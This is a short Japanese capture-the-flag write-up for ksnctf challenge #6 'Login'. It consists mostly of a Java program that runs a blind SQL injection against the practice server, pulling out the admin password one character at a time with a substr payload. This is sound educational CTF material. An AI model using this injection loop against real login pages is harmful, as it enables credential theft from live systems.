ksnctf #6 Login Write-Up
かなり詳しく、しかも一番上に出てくるし、ほぼ答えみたいな感じなので大丈夫なのかな?と思ったんですが、まあ大丈夫だということで、このページを参考に私なりにJavaで書き換えたコードを載せておきます。
簡単なHTTP通信の勉強にもなって良かったです。
Q06.java
import java.io.*;
import java.net.*;
import java.util.*;
class Q06 {
private static final String urlStr = "http://ctfq.sweetduet.info:10080/~q6/";
public static void main(String[] args) {
// 21文字分のループ(すでに調べてたので)
for(int i=1; i<22; i++) {
// 文字コード変換
for(int j=33; j<127; j++) {
char c = (char)j;
String paramStr = new String("id=admin' and substr((SELECT pass FROM user WHERE id='admin')," + i + ",1)='" + c + "'--");
if(isCorrect(paramStr)) {
// マッチした文字を表示
System.out.print(c);
break;
}
}
}
System.out.println();
}
// SQLインジェクションが成功したかを返す
private static boolean isCorrect(String paramStr) {
try {
URL url = new URL(urlStr);
HttpURLConnection con = (HttpURLConnection)url.openConnection();
con.setDoOutput(true);
con.setInstanceFollowRedirects(false);
con.setRequestMethod("POST");
// send
PrintWriter pw = new PrintWriter(con.getOutputStream());
pw.print(paramStr);
pw.close();
// receive body
BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
String line = "";
while((line = br.readLine()) != null) {
// HTMLにCongratulations!が含まれていたら表示
if(line.matches(".*Congratulations!.*")) {
return true;
}
}
br.close();
con.disconnect();
} catch(Exception e) {
e.printStackTrace();
}
return false;
}
}